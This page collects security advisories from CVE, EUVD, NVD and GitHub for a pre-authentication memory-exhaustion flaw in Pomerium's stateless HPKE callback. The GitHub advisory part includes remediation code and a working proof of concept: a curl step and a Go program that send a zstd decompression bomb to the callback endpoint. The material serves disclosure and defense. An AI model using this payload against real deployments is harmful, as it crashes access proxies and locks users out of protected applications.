Pomerium: Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback

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Pomerium is an identity and context-aware access proxy. Prior to 0.32.8, decodeQueryStringV2 in pkg/hpke/url.go performs zstd decompression of attacker-controlled data without an output-memory limit when DecryptURLValues processes HPKE V2 values for Stateless.Callback in internal/authenticateflow/stateless.go. In hosted or stateless authentication deployments, an unauthenticated attacker can obtain the receiver key from /.well-known/pomerium/hpke-public-key, provide a matching attacker-controlled sender key, and send a compressed payload to /.pomerium/callback that expands before validateSenderPublicKey rejects the sender. This can allocate hundreds of megabytes per request, exhaust proxy memory, crash or degrade the process, and block access to applications protected by the deployment. Stateful deployments are not affected because the stateful callback verifies its HMAC signature before decryption and decompression. This issue is fixed in version 0.32.8.

Source published

17 Sep 2026 19:49:20 UTC

Source modified

17 Sep 2026 20:19:48 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Pomerium is an identity and context-aware access proxy. Prior to 0.32.8, decodeQueryStringV2 in pkg/hpke/url.go performs zstd decompression of attacker-controlled data without an output-memory limit when DecryptURLValues processes HPKE V2 values for Stateless.Callback in internal/authenticateflow/stateless.go. In hosted or stateless authentication deployments, an unauthenticated attacker can obtain the receiver key from /.well-known/pomerium/hpke-public-key, provide a matching attacker-controlled sender key, and send a compressed payload to /.pomerium/callback that expands before validateSenderPublicKey rejects the sender. This can allocate hundreds of megabytes per request, exhaust proxy memory, crash or degrade the process, and block access to applications protected by the deployment. Stateful deployments are not affected because the stateful callback verifies its HMAC signature before decryption and decompression. This issue is fixed in version 0.32.8.

Source published

Sep 17, 2026, 7:49:20 PM (timezone not stated)

Source modified

Sep 17, 2026, 8:19:48 PM (timezone not stated)

Observed here

11 Nov 2026 13:06:36 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Pomerium is an identity and context-aware access proxy. Prior to 0.32.8, decodeQueryStringV2 in pkg/hpke/url.go performs zstd decompression of attacker-controlled data without an output-memory limit when DecryptURLValues processes HPKE V2 values for Stateless.Callback in internal/authenticateflow/stateless.go. In hosted or stateless authentication deployments, an unauthenticated attacker can obtain the receiver key from /.well-known/pomerium/hpke-public-key, provide a matching attacker-controlled sender key, and send a compressed payload to /.pomerium/callback that expands before validateSenderPublicKey rejects the sender. This can allocate hundreds of megabytes per request, exhaust proxy memory, crash or degrade the process, and block access to applications protected by the deployment. Stateful deployments are not affected because the stateful callback verifies its HMAC signature before decryption and decompression. This issue is fixed in version 0.32.8.

Source published

17 Sep 2026 20:16:50 UTC

Source modified

24 Sep 2026 21:25:27 UTC

Observed here

25 Oct 2026 12:17:38 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

## Summary The HPKE V2 URL decode path in `pkg/hpke/url.go` decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's `/.pomerium/callback` endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation — crashing or degrading the proxy process. ## Severity **High** (CVSS 3.1: 7.5) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` - **Attack Vector:** Network — the `/.pomerium/callback` route on the proxy service is externally reachable. - **Attack Complexity:** Low — the receiver public key is publicly available at `/.well-known/pomerium/hpke-public-key`; no special conditions apply. - **Privileges Required:** None — the callback endpoint is intentionally pre-authentication (it is the OAuth landing page). - **User Interaction:** None - **Scope:** Unchanged — the DoS is confined to the Pomerium proxy process itself. - **Confidentiality Impact:** None - **Integrity Impact:** None - **Availability Impact:** High — repeated attacks can exhaust process memory and crash the proxy. ## Affected Component - `pkg/hpke/url.go` — `decodeQueryStringV2` (line 171) - `internal/authenticateflow/stateless.go` — `Callback` (line 385–393) - `proxy/handlers.go` — `Callback` (line 105–107), route registered at line 53–54 ## CWE - **CWE-400**: Uncontrolled Resource Consumption - **CWE-1284**: Improper Validation of Specified Quantity in Input ## Description ### Unbounded zstd Decompression in `decodeQueryStringV2` `pkg/hpke/url.go` defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (`url.go:166–176`): ```go var zstdDecoder, _ = zstd.NewReader(nil, zstd.WithDecoderLowmem(true), ) func decodeQueryStringV2(raw []byte) (url.Values, error) { bs, err := zstdDecoder.DecodeAll(raw, nil) // no size limit if err != nil { return nil, err } return url.ParseQuery(string(bs)) } ``` `WithDecoderLowmem(true)` reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB. By contrast, the codebase applies `LimitReader` when decompressing in `internal/zero/api/download.go:75`: ```go r = io.LimitReader(zr, maxUncompressedBlobSize) // 1 GB cap ``` The protection is available but not applied to `decodeQueryStringV2`, confirming this is an inconsistent defense. ### HPKE Does Not Block the Attack — Sender Validation Is Too Late `DecryptURLValues` for the V2 format (`url.go:107–126`): ```go case IsEncryptedURLV2(encrypted): senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2)) // attacker-controlled // ... sealed, err := decode(encrypted.Get(paramQueryV2)) // ... message, err := Open(receiverPrivateKey, senderPublicKey, sealed) // HPKE decrypt — succeeds // ... decrypted, err = decodeQueryStringV2(message) // zstd decompress — UNBOUNDED ``` `Open` uses `SetupAuth` (HPKE authenticated mode). It only verifies that `sealed` was created with a key pair whose public half is `senderPublicKey`. Because the attacker supplies both `k` (sender public key) and `q` (sealed payload), they choose a consistent key pair themselves. The `Open` call succeeds with their own freshly-generated keys. Sender identity is validated **after** `DecryptURLValues` returns (`stateless.go:391–397`): ```go senderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form) // ... zstd already completed ... err = s.validateSenderPublicKey(r.Context(), senderPublicKey) // now rejects attacker ``` The decompression memory spike occurs unconditionally before rejection. ### Pre-Auth Execution Chain on the Proxy Callback The proxy registers the callback route without any session or signature middleware (`proxy/handlers.go:53–54`): ```go c := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter() c.Path("/").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet) ``` For Stateless-flow deployments, `p.Callback` → `authenticateflow.Stateless.Callback` → `hpke.DecryptURLValues` (unbounded decompress) → `validateSenderPublicKey` (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect. Pomerium's HPKE receiver public key is served publicly and without authentication (`internal/controlplane/http.go:82`): ```go root.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler( traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey))) ``` The full attack requires no credentials of any kind. **Self-hosted (Stateful) deployments are NOT affected.** The stateful `Callback` calls `s.VerifySignature(r)` as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything. ## Proof of Concept ```bash # Step 1: Retrieve the receiver public key curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key" | xxd | head # Step 2: Build and send the decompression bomb (requires Go) ``` ```go package main import ( "encoding/base64" "fmt" "net/http" "net/url" "strings" "github.com/klauspost/compress/zstd" "github.com/pomerium/pomerium/pkg/hpke" ) func main() { // Fetch receiver public key from the target resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key") pubBytes := make([]byte, 32) resp.Body.Read(pubBytes) resp.Body.Close() receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes) // Attacker generates their own sender key pair attackerPriv, _ := hpke.GeneratePrivateKey() // Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed plain := "x=" + strings.Repeat("A", 128*1024*1024) enc, _ := zstd.NewWriter(nil) compressed := enc.EncodeAll([]byte(plain), nil) // Seal the bomb with attacker's private key → server's public key sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed) form := url.Values{ "k": {attackerPriv.PublicKey().String()}, "q": {base64.RawURLEncoding.EncodeToString(sealed)}, } // Deliver to the pre-auth callback endpoint target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode() fmt.Printf("Sending bomb to: %s\n", target) http.Get(target) fmt.Println("Done — server allocated ~256 MB per request") } ``` Repeated calls amplify the effect proportionally. The server-side rejection from `validateSenderPublicKey` does not prevent the allocation. ## Impact - **Pre-auth denial of service** against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero / `authenticate.pomerium.app`). - An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20–40 KB payload. - Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment. - No credentials, session cookies, or insider access required — only network reachability to the proxy's HTTPS port. ## Recommended Remediation ### Option 1: Cap decompressed output size in `decodeQueryStringV2` (preferred) Apply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes: ```go const maxDecompressedQuerySize = 1 << 20 // 1 MiB — generous for any real query string func decodeQueryStringV2(raw []byte) (url.Values, error) { bs, err := zstdDecoder.DecodeAll(raw, nil) if err != nil { return nil, err } if len(bs) > maxDecompressedQuerySize { return nil, fmt.Errorf("hpke: decompressed query string exceeds maximum size (%d bytes)", len(bs)) } return url.ParseQuery(string(bs)) } ``` This fixes the root cause at the lowest layer and protects all callers unconditionally. ### Option 2: Validate sender public key before decompressing Restructure `DecryptURLValues` so the sender's public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into `DecryptURLValues` or splitting the decrypt and decompress steps: ```go // In Stateless.Callback, before calling DecryptURLValues: senderPublicKey, _ := PublicKeyFromString(r.Form.Get("k")) if err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil { return err // reject before decompression } // then proceed with decryption and decompression ``` This eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in `decodeQueryStringV2`, leaving other current or future callers at risk. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

Source published

15 Jul 2026 23:08:18 UTC

Source modified

15 Jul 2026 23:26:43 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH